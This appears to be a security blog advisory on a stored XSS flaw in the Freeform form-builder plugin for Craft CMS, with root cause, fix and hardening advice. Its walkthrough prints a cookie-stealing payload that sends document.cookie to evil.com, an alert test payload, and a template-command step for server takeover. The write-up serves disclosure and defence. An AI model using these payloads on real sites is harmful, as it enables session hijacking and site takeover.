Freeform, Free Execution: Stored XSS in Craft CMS's Favorite Form Builder
Jan 22, 2026·6 min read·0 visits
Executive Summary (TL;DR)
The Solspace Freeform plugin (versions <= 5.14.6) for Craft CMS contains a Stored XSS vulnerability in its Form Builder and Integrations views. Because the plugin renders user-controlled labels and SVG icons using React's `dangerouslySetInnerHTML` without sanitization, an attacker with basic 'edit form' permissions can inject malicious JavaScript. When an administrator views the compromised form builder, the script executes, leading to session hijacking and potential full site takeover.
A high-severity Stored Cross-Site Scripting (XSS) vulnerability in the Solspace Freeform plugin for Craft CMS allows low-privileged users to hijack administrator sessions via the Control Panel.
The Hook: Building Forms on Quicksand
We all love a good form builder. In the world of Craft CMS, Solspace Freeform is the heavyweight champion. It’s the tool developers install so marketing teams can drag-and-drop their way to lead generation bliss without touching a line of Twig or PHP. Ideally, this separation of concerns is a security feature: content editors edit content, developers write code.
But here is the irony: in an effort to make the UI 'rich' and interactive, the developers accidentally turned the form builder itself into an attack vector. GHSA-JP3Q-WWP3-PWV9 isn't some complex memory corruption bug deep in the PHP kernel. It is a classic failure to respect the boundaries of the browser's DOM.
This vulnerability allows a low-privileged user—think 'The Intern' or 'The Content Manager'—to plant a digital landmine inside the control panel. They don't need to hack the server; they just need to name a form field the wrong thing. Then, they sit back and wait for the SysAdmin to check on their work. Boom. Game over.
The Flaw: Dangerously Explicit
React, the library powering the Freeform Control Panel, is generally pretty good at saving developers from themselves. By default, it escapes values rendered in JSX, neutralizing standard XSS attempts. If you try to render <div>{userInput}</div> where userInput contains <script>, React will treat it as text, not code.
However, sometimes you want to render raw HTML. Maybe you want a field label to support bold text, or you want to render an SVG icon dynamically. React provides an escape hatch for this, audaciously named dangerouslySetInnerHTML. The name isn't subtle. It is literally a warning sign. It says, 'If you use this, you better know what you are doing.'
In Solspace Freeform <= 5.14.6, the developers seemingly ignored the warning label. The application takes user-controlled input—specifically Field Labels, Section Labels, and Integration Icons—and feeds them directly into this property. There was no sanitization step (like DOMPurify) and no encoding. The application implicitly trusted that anyone with permission to edit a form label was a benevolent actor. In security, implicit trust is just a vulnerability waiting for a CVE ID.
The Code: The Smoking Gun
Let's look at the mechanics. The vulnerability resides in the bundled Control Panel JavaScript (packages/plugin/src/Resources/js/client/client.js). While the exact source is minified in production, the logic flow is undeniable. A React component responsible for rendering the form builder UI accepts a label prop and renders it.
The Vulnerable Pattern:
// Pseudo-code representation of the flaw
function FieldLabel({ label }) {
return (
<div
className="field-label"
dangerouslySetInnerHTML={{ __html: label }}
/>
);
}When a user creates a field, that label is stored in the database. When the builder loads, that string is pulled from the DB and shoved into __html. If the label is Email Address, it renders fine. If the label is <img src=x onerror=alert(1)>, the browser executes the Javascript immediately upon rendering the component.
The Fix:
The patch involves wrapping these dangerous calls in a sanitization function or removing the need for raw HTML entirely. A proper fix ensures that even if HTML is required, executable tags (like <script>, <iframe>, or event handlers like onerror) are stripped out before the DOM sees them.
The Exploit: From Label to Takeover
Let's walk through a realistic attack scenario. We assume the attacker has a compromised or malicious low-privileged account (e.g., a 'Content Editor' who has been granted permission to manage Freeform forms but not general admin rights).
Step 1: The Setup The attacker logs into the Craft CMS Control Panel and navigates to the Freeform plugin. They create a new form or edit an existing one.
Step 2: The Injection For a new Text Field, the attacker sets the Label to the following payload. This isn't just a pop-up; we want to steal the admin's session.
Project <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">Alternatively, they could target the Integrations screen by modifying an integration's "Icon SVG" property via a proxied request to include <svg><script>...</script></svg>.
Step 3: The Trap The attacker saves the form. The payload is now serialized and stored in the database.
Step 4: The Trigger
A Super Administrator logs in to review the forms. They navigate to the Freeform Form Builder. As the React components mount, the malicious label is rendered. The onerror event fires immediately. The Administrator's session cookie (which likely lacks HttpOnly flags for the JS session or includes a CSRF token needed for admin actions) is silently exfiltrated to the attacker's server.
The Impact: Why Panic?
You might think, "It's just XSS, browsers have protections!" In the context of a CMS Control Panel, Stored XSS is often functionally equivalent to Remote Code Execution (RCE).
1. Privilege Escalation: If the victim is a Super Admin, the JavaScript executes with their privileges. The script can silently make AJAX requests to create a new Super Admin user for the attacker.
2. RCE via Templates: In Craft CMS, admins often have the ability to edit Twig templates or install plugins. An attacker can use the hijacked session to modify a template to include {{ execute_command('id') }}, effectively gaining shell access to the server.
3. Data Exfiltration: Forms often collect sensitive data (PII, leads, etc.). The attacker can modify the form submission logic to BCC all future entries to an external email address.
This is not a theoretical low-risk finding. If your organization uses Freeform and you have untrusted users with form-editing capabilities, your entire install is at risk.
The Fix: Closing the Window
The remediation is straightforward but urgent. You need to update the plugin code to a version that sanitizes these inputs.
Immediate Action:
Update solspace/craft-freeform to version 5.14.7 or higher. This version implements proper sanitization for the affected fields.
Defense in Depth:
- Content Security Policy (CSP): Implement a strict CSP on your Control Panel. A policy that disallows
unsafe-inlinescripts would effectively block this attack, even if the vulnerable code remained. Theonerrorhandler would be blocked from executing. - Least Privilege: Review your user permissions. Does the marketing intern really need access to create and configure forms, or just view submissions? Restrict access to the Freeform builder to trusted administrators only.
- WAF Rules: A Web Application Firewall can potentially block the initial injection request if it detects HTML tags (like
<script>oronerror=) in the POST parameters sent to the form saving endpoint.
Official Patches
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
solspace/craft-freeform Solspace | <= 5.14.6 | 5.14.7 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Stored Cross-Site Scripting (XSS) |
| Attack Vector | Network (Authenticated) |
| Severity | High / Critical (Context Dependent) |
| Component | Freeform Control Panel (Form Builder & Integrations) |
| Root Cause | Unsanitized dangerouslySetInnerHTML usage |
| Authentication Required | Yes (Low Privilege) |
MITRE ATT&CK Mapping
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.